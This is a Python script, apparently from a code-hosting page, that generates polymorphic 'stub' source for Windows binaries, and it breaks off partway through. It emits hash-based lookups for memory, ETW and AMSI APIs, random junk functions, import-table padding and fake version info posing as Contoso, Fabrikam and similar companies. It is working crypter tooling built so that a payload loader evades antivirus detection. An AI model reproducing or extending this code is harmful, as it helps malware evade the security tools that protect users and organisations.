2030 lines
89 KiB
Python
2030 lines
89 KiB
Python
#!/usr/bin/env python3
|
|||
|
|
"""
|
||
|
|
generate_poly_stub.py - Polymorphic stub generator for per-build unique binaries.
|
||
|
|
|
||
|
|
Generates per build:
|
||
|
|
1. stub_poly_hash.h — Hash function (random algorithm) + 28 FH_* constants
|
||
|
|
2. stub_poly_junk.c — 40-80 random junk functions for code layout variation
|
||
|
|
3. stub_poly_config.h — Per-build config (magic, sections, charset, thresholds)
|
||
|
|
4. stub_poly_metamorphic.h — Metamorphic function bodies
|
||
|
|
5. stub_poly_iat.h — IAT padding (12-20 benign API calls per build)
|
||
|
|
6. stub_poly_padding.c/h — Realistic .rdata padding (150-400KB per build)
|
||
|
|
|
||
|
|
Usage:
|
||
|
|
python generate_poly_stub.py --outdir <directory>
|
||
|
|
"""
|
||
|
|
|
||
|
|
import argparse
|
||
|
|
import os
|
||
|
|
import random
|
||
|
|
import struct
|
||
|
|
import sys
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# Hash algorithm implementations (must match C output exactly)
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
def djb2a_hash_narrow(s: str, seed: int) -> int:
|
||
|
|
"""DJB2a variant with custom seed, operating on ASCII bytes."""
|
||
|
|
h = seed & 0xFFFFFFFF
|
||
|
|
for c in s.encode('ascii'):
|
||
|
|
h = (((h << 5) + h) ^ c) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def djb2a_hash_wide(s: str, seed: int) -> int:
|
||
|
|
"""DJB2a variant on raw UTF-16LE bytes with case folding (a-z -> A-Z)."""
|
||
|
|
h = seed & 0xFFFFFFFF
|
||
|
|
raw = s.encode('utf-16-le')
|
||
|
|
for b in raw:
|
||
|
|
c = b
|
||
|
|
if 0x61 <= c <= 0x7A:
|
||
|
|
c -= 0x20
|
||
|
|
h = (((h << 5) + h) ^ c) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def fnv1a_hash_narrow(s: str) -> int:
|
||
|
|
"""FNV-1a 32-bit hash on ASCII bytes."""
|
||
|
|
h = 0x811C9DC5
|
||
|
|
for c in s.encode('ascii'):
|
||
|
|
h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def fnv1a_hash_wide(s: str) -> int:
|
||
|
|
"""FNV-1a 32-bit on raw UTF-16LE bytes with case folding."""
|
||
|
|
h = 0x811C9DC5
|
||
|
|
raw = s.encode('utf-16-le')
|
||
|
|
for b in raw:
|
||
|
|
c = b
|
||
|
|
if 0x61 <= c <= 0x7A:
|
||
|
|
c -= 0x20
|
||
|
|
h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def sdbm_hash_narrow(s: str, shift1: int, shift2: int) -> int:
|
||
|
|
"""SDBM hash variant with configurable shifts, on ASCII bytes."""
|
||
|
|
h = 0
|
||
|
|
for c in s.encode('ascii'):
|
||
|
|
h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def sdbm_hash_wide(s: str, shift1: int, shift2: int) -> int:
|
||
|
|
"""SDBM variant on raw UTF-16LE bytes with case folding."""
|
||
|
|
h = 0
|
||
|
|
raw = s.encode('utf-16-le')
|
||
|
|
for b in raw:
|
||
|
|
c = b
|
||
|
|
if 0x61 <= c <= 0x7A:
|
||
|
|
c -= 0x20
|
||
|
|
h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def rotating_xor_hash_narrow(s: str, shift1: int, shift2: int) -> int:
|
||
|
|
"""Rotating XOR hash with configurable shifts, on ASCII bytes."""
|
||
|
|
h = 0
|
||
|
|
for c in s.encode('ascii'):
|
||
|
|
h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def rotating_xor_hash_wide(s: str, shift1: int, shift2: int) -> int:
|
||
|
|
"""Rotating XOR on raw UTF-16LE bytes with case folding."""
|
||
|
|
h = 0
|
||
|
|
raw = s.encode('utf-16-le')
|
||
|
|
for b in raw:
|
||
|
|
c = b
|
||
|
|
if 0x61 <= c <= 0x7A:
|
||
|
|
c -= 0x20
|
||
|
|
h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def jenkins_hash_narrow(s: str) -> int:
|
||
|
|
"""Jenkins one-at-a-time hash on ASCII bytes."""
|
||
|
|
h = 0
|
||
|
|
for c in s.encode('ascii'):
|
||
|
|
h = (h + c) & 0xFFFFFFFF
|
||
|
|
h = (h + (h << 10)) & 0xFFFFFFFF
|
||
|
|
h ^= (h >> 6)
|
||
|
|
h = (h + (h << 3)) & 0xFFFFFFFF
|
||
|
|
h ^= (h >> 11)
|
||
|
|
h = (h + (h << 15)) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
def jenkins_hash_wide(s: str) -> int:
|
||
|
|
"""Jenkins one-at-a-time on raw UTF-16LE bytes with case folding."""
|
||
|
|
h = 0
|
||
|
|
raw = s.encode('utf-16-le')
|
||
|
|
for b in raw:
|
||
|
|
c = b
|
||
|
|
if 0x61 <= c <= 0x7A:
|
||
|
|
c -= 0x20
|
||
|
|
h = (h + c) & 0xFFFFFFFF
|
||
|
|
h = (h + (h << 10)) & 0xFFFFFFFF
|
||
|
|
h ^= (h >> 6)
|
||
|
|
h = (h + (h << 3)) & 0xFFFFFFFF
|
||
|
|
h ^= (h >> 11)
|
||
|
|
h = (h + (h << 15)) & 0xFFFFFFFF
|
||
|
|
return h
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# Hash constant definitions (28 total)
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
# Wide hashes (module names — case-insensitive via byte-level folding)
|
||
|
|
WIDE_NAMES = [
|
||
|
|
("FH_KERNEL32", "KERNEL32.DLL"),
|
||
|
|
("FH_NTDLL", "NTDLL.DLL"),
|
||
|
|
]
|
||
|
|
|
||
|
|
# Narrow hashes (function names — case-sensitive ASCII)
|
||
|
|
NARROW_NAMES = [
|
||
|
|
("FH_LoadLibraryA", "LoadLibraryA"),
|
||
|
|
("FH_GetProcAddress", "GetProcAddress"),
|
||
|
|
("FH_VirtualAlloc", "VirtualAlloc"),
|
||
|
|
("FH_VirtualProtect", "VirtualProtect"),
|
||
|
|
("FH_VirtualFree", "VirtualFree"),
|
||
|
|
("FH_GetModuleHandleA", "GetModuleHandleA"),
|
||
|
|
("FH_CreateFileA", "CreateFileA"),
|
||
|
|
("FH_ReadFile", "ReadFile"),
|
||
|
|
("FH_GetFileSize", "GetFileSize"),
|
||
|
|
("FH_CloseHandle", "CloseHandle"),
|
||
|
|
("FH_GetSystemInfo", "GetSystemInfo"),
|
||
|
|
("FH_GlobalMemoryStatusEx", "GlobalMemoryStatusEx"),
|
||
|
|
("FH_GetDiskFreeSpaceExA", "GetDiskFreeSpaceExA"),
|
||
|
|
("FH_Sleep", "Sleep"),
|
||
|
|
("FH_GetTickCount64", "GetTickCount64"),
|
||
|
|
("FH_FindFirstFileA", "FindFirstFileA"),
|
||
|
|
("FH_FindNextFileA", "FindNextFileA"),
|
||
|
|
("FH_FindClose", "FindClose"),
|
||
|
|
("FH_GetEnvironmentVariableA", "GetEnvironmentVariableA"),
|
||
|
|
("FH_FlushInstructionCache", "FlushInstructionCache"),
|
||
|
|
("FH_ExitProcess", "ExitProcess"),
|
||
|
|
("FH_NtAllocateVirtualMemory", "NtAllocateVirtualMemory"),
|
||
|
|
("FH_NtProtectVirtualMemory", "NtProtectVirtualMemory"),
|
||
|
|
("FH_NtFreeVirtualMemory", "NtFreeVirtualMemory"),
|
||
|
|
("FH_NtFlushInstructionCache", "NtFlushInstructionCache"),
|
||
|
|
("FH_EtwEventWrite", "EtwEventWrite"),
|
||
|
|
("FH_AmsiOpenSession", "AmsiOpenSession"),
|
||
|
|
("FH_WriteFile", "WriteFile"),
|
||
|
|
]
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# Algorithm selection and C code generation
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
class HashAlgorithm:
|
||
|
|
"""Encapsulates a chosen hash algorithm with its parameters."""
|
||
|
|
|
||
|
|
def __init__(self, name, narrow_fn, wide_fn, c_narrow, c_wide, params):
|
||
|
|
self.name = name
|
||
|
|
self.narrow_fn = narrow_fn
|
||
|
|
self.wide_fn = wide_fn
|
||
|
|
self.c_narrow = c_narrow # C source for StubHash(const char*)
|
||
|
|
self.c_wide = c_wide # C source for StubHashW(const WCHAR*, USHORT)
|
||
|
|
self.params = params
|
||
|
|
|
||
|
|
|
||
|
|
def make_djb2a():
|
||
|
|
seed = random.randint(0x10000000, 0xFFFFFFFF)
|
||
|
|
c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
|
||
|
|
DWORD h = 0x{seed:08X}u;
|
||
|
|
while (*str) {{
|
||
|
|
h = ((h << 5) + h) ^ (unsigned char)*str++;
|
||
|
|
}}
|
||
|
|
return h;
|
||
|
|
}}"""
|
||
|
|
c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
|
||
|
|
DWORD h = 0x{seed:08X}u;
|
||
|
|
const char *raw = (const char *)str;
|
||
|
|
for (USHORT i = 0; i < lenBytes; i++) {{
|
||
|
|
char c = raw[i];
|
||
|
|
if (c >= 'a' && c <= 'z') c -= 0x20;
|
||
|
|
h = ((h << 5) + h) ^ (unsigned char)c;
|
||
|
|
}}
|
||
|
|
return h;
|
||
|
|
}}"""
|
||
|
|
return HashAlgorithm(
|
||
|
|
name=f"DJB2a (seed 0x{seed:08X})",
|
||
|
|
narrow_fn=lambda s: djb2a_hash_narrow(s, seed),
|
||
|
|
wide_fn=lambda s: djb2a_hash_wide(s, seed),
|
||
|
|
c_narrow=c_narrow,
|
||
|
|
c_wide=c_wide,
|
||
|
|
params={"seed": seed},
|
||
|
|
)
|
||
|
|
|
||
|
|
|
||
|
|
def make_fnv1a():
|
||
|
|
c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {
|
||
|
|
DWORD h = 0x811C9DC5u;
|
||
|
|
while (*str) {
|
||
|
|
h = (h ^ (unsigned char)*str++) * 0x01000193u;
|
||
|
|
}
|
||
|
|
return h;
|
||
|
|
}"""
|
||
|
|
c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {
|
||
|
|
DWORD h = 0x811C9DC5u;
|
||
|
|
const char *raw = (const char *)str;
|
||
|
|
for (USHORT i = 0; i < lenBytes; i++) {
|
||
|
|
char c = raw[i];
|
||
|
|
if (c >= 'a' && c <= 'z') c -= 0x20;
|
||
|
|
h = (h ^ (unsigned char)c) * 0x01000193u;
|
||
|
|
}
|
||
|
|
return h;
|
||
|
|
}"""
|
||
|
|
return HashAlgorithm(
|
||
|
|
name="FNV-1a",
|
||
|
|
narrow_fn=fnv1a_hash_narrow,
|
||
|
|
wide_fn=fnv1a_hash_wide,
|
||
|
|
c_narrow=c_narrow,
|
||
|
|
c_wide=c_wide,
|
||
|
|
params={},
|
||
|
|
)
|
||
|
|
|
||
|
|
|
||
|
|
def make_sdbm():
|
||
|
|
shift1 = random.choice([6, 7, 8])
|
||
|
|
shift2 = random.choice([14, 15, 16])
|
||
|
|
c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
|
||
|
|
DWORD h = 0;
|
||
|
|
while (*str) {{
|
||
|
|
h = (unsigned char)*str++ + (h << {shift1}) + (h << {shift2}) - h;
|
||
|
|
}}
|
||
|
|
return h;
|
||
|
|
}}"""
|
||
|
|
c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
|
||
|
|
DWORD h = 0;
|
||
|
|
const char *raw = (const char *)str;
|
||
|
|
for (USHORT i = 0; i < lenBytes; i++) {{
|
||
|
|
char c = raw[i];
|
||
|
|
if (c >= 'a' && c <= 'z') c -= 0x20;
|
||
|
|
h = (unsigned char)c + (h << {shift1}) + (h << {shift2}) - h;
|
||
|
|
}}
|
||
|
|
return h;
|
||
|
|
}}"""
|
||
|
|
return HashAlgorithm(
|
||
|
|
name=f"SDBM (shifts {shift1},{shift2})",
|
||
|
|
narrow_fn=lambda s: sdbm_hash_narrow(s, shift1, shift2),
|
||
|
|
wide_fn=lambda s: sdbm_hash_wide(s, shift1, shift2),
|
||
|
|
c_narrow=c_narrow,
|
||
|
|
c_wide=c_wide,
|
||
|
|
params={"shift1": shift1, "shift2": shift2},
|
||
|
|
)
|
||
|
|
|
||
|
|
|
||
|
|
def make_rotating_xor():
|
||
|
|
shift1 = random.choice([4, 5, 6, 7])
|
||
|
|
shift2 = random.choice([24, 25, 27, 28])
|
||
|
|
c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
|
||
|
|
DWORD h = 0;
|
||
|
|
while (*str) {{
|
||
|
|
h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)*str++;
|
||
|
|
}}
|
||
|
|
return h;
|
||
|
|
}}"""
|
||
|
|
c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
|
||
|
|
DWORD h = 0;
|
||
|
|
const char *raw = (const char *)str;
|
||
|
|
for (USHORT i = 0; i < lenBytes; i++) {{
|
||
|
|
char c = raw[i];
|
||
|
|
if (c >= 'a' && c <= 'z') c -= 0x20;
|
||
|
|
h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)c;
|
||
|
|
}}
|
||
|
|
return h;
|
||
|
|
}}"""
|
||
|
|
return HashAlgorithm(
|
||
|
|
name=f"Rotating-XOR (shifts {shift1},{shift2})",
|
||
|
|
narrow_fn=lambda s: rotating_xor_hash_narrow(s, shift1, shift2),
|
||
|
|
wide_fn=lambda s: rotating_xor_hash_wide(s, shift1, shift2),
|
||
|
|
c_narrow=c_narrow,
|
||
|
|
c_wide=c_wide,
|
||
|
|
params={"shift1": shift1, "shift2": shift2},
|
||
|
|
)
|
||
|
|
|
||
|
|
|
||
|
|
def make_jenkins():
|
||
|
|
c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {
|
||
|
|
DWORD h = 0;
|
||
|
|
while (*str) {
|
||
|
|
h += (unsigned char)*str++;
|
||
|
|
h += h << 10;
|
||
|
|
h ^= h >> 6;
|
||
|
|
}
|
||
|
|
h += h << 3;
|
||
|
|
h ^= h >> 11;
|
||
|
|
h += h << 15;
|
||
|
|
return h;
|
||
|
|
}"""
|
||
|
|
c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {
|
||
|
|
DWORD h = 0;
|
||
|
|
const char *raw = (const char *)str;
|
||
|
|
for (USHORT i = 0; i < lenBytes; i++) {
|
||
|
|
char c = raw[i];
|
||
|
|
if (c >= 'a' && c <= 'z') c -= 0x20;
|
||
|
|
h += (unsigned char)c;
|
||
|
|
h += h << 10;
|
||
|
|
h ^= h >> 6;
|
||
|
|
}
|
||
|
|
h += h << 3;
|
||
|
|
h ^= h >> 11;
|
||
|
|
h += h << 15;
|
||
|
|
return h;
|
||
|
|
}"""
|
||
|
|
return HashAlgorithm(
|
||
|
|
name="Jenkins",
|
||
|
|
narrow_fn=jenkins_hash_narrow,
|
||
|
|
wide_fn=jenkins_hash_wide,
|
||
|
|
c_narrow=c_narrow,
|
||
|
|
c_wide=c_wide,
|
||
|
|
params={},
|
||
|
|
)
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# VERSIONINFO randomization pools
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
VERSIONINFO_IDENTITIES = [
|
||
|
|
("AppHelper", "Application Helper Service", "AppHelper.exe", "Contoso Ltd."),
|
||
|
|
("UpdateAgent", "Automatic Update Agent", "UpdateAgent.exe", "Fabrikam Inc."),
|
||
|
|
("SyncService", "Data Synchronization Service", "SyncService.exe", "Woodgrove Systems"),
|
||
|
|
("NetMonitor", "Network Monitor Utility", "NetMonitor.exe", "Northwind Software"),
|
||
|
|
("CacheManager", "Cache Management Service", "CacheManager.exe", "Litware Inc."),
|
||
|
|
("PerfOptimizer", "Performance Optimization Tool", "PerfOptimizer.exe", "Proseware Inc."),
|
||
|
|
("TaskScheduler", "Scheduled Task Runner", "TaskRunner.exe", "Adatum Corporation"),
|
||
|
|
("IndexHelper", "Index Maintenance Helper", "IndexHelper.exe", "Adventure Works"),
|
||
|
|
("DiagService", "Diagnostic Collection Service", "DiagService.exe", "Trey Research"),
|
||
|
|
("EventLogger", "Event Logging Service", "EventLogger.exe", "Consolidated Messenger"),
|
||
|
|
("StorageUtil", "Storage Optimization Utility", "StorageUtil.exe", "Contoso Ltd."),
|
||
|
|
("HealthCheck", "System Health Monitor", "HealthCheck.exe", "Fabrikam Inc."),
|
||
|
|
("ConfigHost", "Configuration Host Process", "ConfigHost.exe", "Woodgrove Systems"),
|
||
|
|
("ServiceAgent", "Background Service Agent", "ServiceAgent.exe", "Northwind Software"),
|
||
|
|
("NotifyService", "Notification Delivery Service", "NotifyService.exe", "Litware Inc."),
|
||
|
|
]
|
||
|
|
|
||
|
|
WINDOWS_BUILDS = [
|
||
|
|
(10, 0, 19041), # Win10 2004
|
||
|
|
(10, 0, 19042), # Win10 20H2
|
||
|
|
(10, 0, 19043), # Win10 21H1
|
||
|
|
(10, 0, 19044), # Win10 21H2
|
||
|
|
(10, 0, 19045), # Win10 22H2
|
||
|
|
(10, 0, 22621), # Win11 22H2
|
||
|
|
(10, 0, 22631), # Win11 23H2
|
||
|
|
(10, 0, 26100), # Win11 24H2
|
||
|
|
]
|
||
|
|
|
||
|
|
|
||
|
|
def generate_versioninfo(outdir, tools_dir):
|
||
|
|
"""Generate stub_versioninfo.rc + stub_manifest.manifest with randomized identity."""
|
||
|
|
internal, description, original_filename, company = random.choice(VERSIONINFO_IDENTITIES)
|
||
|
|
major, minor, build = random.choice(WINDOWS_BUILDS)
|
||
|
|
patch = random.randint(1, 3999)
|
||
|
|
|
||
|
|
ver_str = f"{major}.{minor}.{build}.{patch}"
|
||
|
|
ver_csv = f"{major},{minor},{build},{patch}"
|
||
|
|
|
||
|
|
# Generate RC file
|
||
|
|
rc_lines = [
|
||
|
|
'#include <winver.h>',
|
||
|
|
'',
|
||
|
|
'// Icon',
|
||
|
|
'1 ICON "zerin_stub.ico"',
|
||
|
|
'',
|
||
|
|
'// Version Info',
|
||
|
|
'VS_VERSION_INFO VERSIONINFO',
|
||
|
|
f'FILEVERSION {ver_csv}',
|
||
|
|
f'PRODUCTVERSION {ver_csv}',
|
||
|
|
'FILEFLAGSMASK VS_FFI_FILEFLAGSMASK',
|
||
|
|
'FILEFLAGS 0',
|
||
|
|
'FILEOS VOS_NT_WINDOWS32',
|
||
|
|
'FILETYPE VFT_APP',
|
||
|
|
'BEGIN',
|
||
|
|
' BLOCK "StringFileInfo"',
|
||
|
|
' BEGIN',
|
||
|
|
' BLOCK "040904B0"',
|
||
|
|
' BEGIN',
|
||
|
|
f' VALUE "CompanyName", "{company}"',
|
||
|
|
f' VALUE "FileDescription", "{description}"',
|
||
|
|
f' VALUE "FileVersion", "{ver_str}"',
|
||
|
|
f' VALUE "InternalName", "{internal}"',
|
||
|
|
f' VALUE "LegalCopyright", "Copyright (C) {random.choice([2022, 2023, 2024, 2025])} {company}. All rights reserved."',
|
||
|
|
f' VALUE "OriginalFilename", "{original_filename}"',
|
||
|
|
f' VALUE "ProductName", "{description}"',
|
||
|
|
f' VALUE "ProductVersion", "{ver_str}"',
|
||
|
|
' END',
|
||
|
|
' END',
|
||
|
|
' BLOCK "VarFileInfo"',
|
||
|
|
' BEGIN',
|
||
|
|
' VALUE "Translation", 0x0409, 1200',
|
||
|
|
' END',
|
||
|
|
'END',
|
||
|
|
'',
|
||
|
|
'// Manifest',
|
||
|
|
'1 24 "stub_manifest.manifest"',
|
||
|
|
'',
|
||
|
|
]
|
||
|
|
|
||
|
|
rc_path = os.path.join(outdir, "stub_versioninfo.rc")
|
||
|
|
with open(rc_path, "w", newline="\n") as f:
|
||
|
|
f.write("\n".join(rc_lines))
|
||
|
|
|
||
|
|
# Generate manifest file
|
||
|
|
manifest_lines = [
|
||
|
|
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>',
|
||
|
|
'<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">',
|
||
|
|
f' <assemblyIdentity type="win32" name="{company.split()[0]}.{internal}"',
|
||
|
|
f' version="{ver_str}" processorArchitecture="amd64"/>',
|
||
|
|
' <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">',
|
||
|
|
' <security>',
|
||
|
|
' <requestedPrivileges>',
|
||
|
|
' <requestedExecutionLevel level="asInvoker" uiAccess="false"/>',
|
||
|
|
' </requestedPrivileges>',
|
||
|
|
' </security>',
|
||
|
|
' </trustInfo>',
|
||
|
|
' <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">',
|
||
|
|
' <application>',
|
||
|
|
' <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>',
|
||
|
|
' <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>',
|
||
|
|
' <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>',
|
||
|
|
' <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>',
|
||
|
|
' <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>',
|
||
|
|
' </application>',
|
||
|
|
' </compatibility>',
|
||
|
|
'</assembly>',
|
||
|
|
'',
|
||
|
|
]
|
||
|
|
|
||
|
|
manifest_path = os.path.join(outdir, "stub_manifest.manifest")
|
||
|
|
with open(manifest_path, "w", newline="\n") as f:
|
||
|
|
f.write("\n".join(manifest_lines))
|
||
|
|
|
||
|
|
# Copy icon from tools directory if it exists
|
||
|
|
import shutil
|
||
|
|
icon_src = os.path.join(tools_dir, "zerin_stub.ico")
|
||
|
|
icon_dst = os.path.join(outdir, "zerin_stub.ico")
|
||
|
|
if os.path.isfile(icon_src) and not os.path.isfile(icon_dst):
|
||
|
|
shutil.copy2(icon_src, icon_dst)
|
||
|
|
|
||
|
|
return internal, ver_str
|
||
|
|
|
||
|
|
|
||
|
|
ALGORITHM_FACTORIES = [make_djb2a, make_fnv1a, make_sdbm, make_rotating_xor, make_jenkins]
|
||
|
|
|
||
|
|
|
||
|
|
def pick_algorithm() -> HashAlgorithm:
|
||
|
|
factory = random.choice(ALGORITHM_FACTORIES)
|
||
|
|
return factory()
|
||
|
|
|
||
|
|
|
||
|
|
def compute_constants(algo: HashAlgorithm, max_retries: int = 50) -> dict:
|
||
|
|
"""Compute all 28 FH_* constants with collision detection + retry."""
|
||
|
|
for attempt in range(max_retries):
|
||
|
|
values = {}
|
||
|
|
collision = False
|
||
|
|
|
||
|
|
for define_name, api_name in WIDE_NAMES:
|
||
|
|
values[define_name] = algo.wide_fn(api_name)
|
||
|
|
|
||
|
|
for define_name, api_name in NARROW_NAMES:
|
||
|
|
values[define_name] = algo.narrow_fn(api_name)
|
||
|
|
|
||
|
|
# Check for collisions
|
||
|
|
seen = {}
|
||
|
|
for name, val in values.items():
|
||
|
|
if val in seen:
|
||
|
|
collision = True
|
||
|
|
break
|
||
|
|
seen[val] = name
|
||
|
|
|
||
|
|
if not collision:
|
||
|
|
return values
|
||
|
|
|
||
|
|
# Retry with a fresh algorithm instance (new random params)
|
||
|
|
algo = pick_algorithm()
|
||
|
|
|
||
|
|
raise RuntimeError(f"Failed to find collision-free hash constants after {max_retries} attempts")
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# stub_poly_hash.h generation
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
def generate_hash_header(algo: HashAlgorithm, constants: dict) -> str:
|
||
|
|
lines = []
|
||
|
|
lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
|
||
|
|
lines.append(f"/* Algorithm: {algo.name} */")
|
||
|
|
lines.append("#ifndef STUB_POLY_HASH_H")
|
||
|
|
lines.append("#define STUB_POLY_HASH_H")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("#include <windows.h>")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# Hash functions
|
||
|
|
lines.append(algo.c_narrow)
|
||
|
|
lines.append("")
|
||
|
|
lines.append(algo.c_wide)
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# Constants
|
||
|
|
lines.append("/* Pre-computed hash constants */")
|
||
|
|
for define_name, _ in WIDE_NAMES:
|
||
|
|
lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u")
|
||
|
|
|
||
|
|
lines.append("")
|
||
|
|
for define_name, _ in NARROW_NAMES:
|
||
|
|
lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u")
|
||
|
|
|
||
|
|
lines.append("")
|
||
|
|
lines.append("#endif /* STUB_POLY_HASH_H */")
|
||
|
|
lines.append("")
|
||
|
|
return "\n".join(lines)
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# stub_poly_junk.c generation
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
def random_hex_name() -> str:
|
||
|
|
return f"poly_stub_fn_{random.randint(0, 0xFFFFFFFF):08x}"
|
||
|
|
|
||
|
|
|
||
|
|
def gen_arithmetic_chain(depth: int) -> list:
|
||
|
|
"""Generate an arithmetic computation chain."""
|
||
|
|
lines = []
|
||
|
|
lines.append(" unsigned int r = a;")
|
||
|
|
for _ in range(depth):
|
||
|
|
op = random.choice(["+", "^", "-", "*"])
|
||
|
|
val = random.randint(1, 0xFFFF)
|
||
|
|
lines.append(f" r = (r {op} 0x{val:X}u);")
|
||
|
|
lines.append(" return r;")
|
||
|
|
return lines
|
||
|
|
|
||
|
|
|
||
|
|
def gen_bitwise_rotation(depth: int) -> list:
|
||
|
|
"""Generate bitwise rotation operations."""
|
||
|
|
lines = []
|
||
|
|
lines.append(" unsigned int r = a;")
|
||
|
|
for _ in range(depth):
|
||
|
|
shift = random.randint(1, 31)
|
||
|
|
if random.random() < 0.5:
|
||
|
|
lines.append(f" r = (r << {shift}) | (r >> (32 - {shift}));")
|
||
|
|
else:
|
||
|
|
lines.append(f" r = (r >> {shift}) | (r << (32 - {shift}));")
|
||
|
|
val = random.randint(1, 0xFFFF)
|
||
|
|
lines.append(f" r ^= 0x{val:X}u;")
|
||
|
|
lines.append(" return r;")
|
||
|
|
return lines
|
||
|
|
|
||
|
|
|
||
|
|
def gen_array_computation() -> list:
|
||
|
|
"""Generate an array-based computation."""
|
||
|
|
lines = []
|
||
|
|
size = random.randint(4, 8)
|
||
|
|
vals = [random.randint(0, 0xFF) for _ in range(size)]
|
||
|
|
vals_str = ", ".join(f"0x{v:02X}" for v in vals)
|
||
|
|
lines.append(f" static const unsigned char tbl[] = {{ {vals_str} }};")
|
||
|
|
lines.append(f" unsigned int r = a;")
|
||
|
|
lines.append(f" for (int i = 0; i < {size}; i++) {{")
|
||
|
|
lines.append(f" r = (r * 31u) ^ tbl[i];")
|
||
|
|
lines.append(f" }}")
|
||
|
|
lines.append(f" return r;")
|
||
|
|
return lines
|
||
|
|
|
||
|
|
|
||
|
|
def gen_short_loop() -> list:
|
||
|
|
"""Generate a short loop computation."""
|
||
|
|
lines = []
|
||
|
|
count = random.randint(3, 12)
|
||
|
|
lines.append(" unsigned int r = a;")
|
||
|
|
lines.append(f" for (int i = 0; i < {count}; i++) {{")
|
||
|
|
op = random.choice(["^=", "+=", "-="])
|
||
|
|
shift = random.randint(1, 15)
|
||
|
|
lines.append(f" r {op} (r >> {shift}) + (unsigned int)i;")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" return r;")
|
||
|
|
return lines
|
||
|
|
|
||
|
|
|
||
|
|
def generate_junk_functions(count: int) -> str:
|
||
|
|
"""Generate stub_poly_junk.c with `count` junk functions."""
|
||
|
|
lines = []
|
||
|
|
lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
|
||
|
|
lines.append("#include <windows.h>")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("volatile unsigned int g_poly_stub_state = 0;")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
func_names = []
|
||
|
|
func_defs = []
|
||
|
|
|
||
|
|
for i in range(count):
|
||
|
|
name = random_hex_name()
|
||
|
|
func_names.append(name)
|
||
|
|
|
||
|
|
param_list = "unsigned int a"
|
||
|
|
|
||
|
|
# Pick a body type (cross-function calls handled separately below)
|
||
|
|
body_type = random.randint(0, 3)
|
||
|
|
if body_type == 0:
|
||
|
|
body_lines = gen_arithmetic_chain(random.randint(3, 8))
|
||
|
|
elif body_type == 1:
|
||
|
|
body_lines = gen_bitwise_rotation(random.randint(2, 5))
|
||
|
|
elif body_type == 2:
|
||
|
|
body_lines = gen_array_computation()
|
||
|
|
else:
|
||
|
|
body_lines = gen_short_loop()
|
||
|
|
|
||
|
|
func_defs.append((name, param_list, body_lines))
|
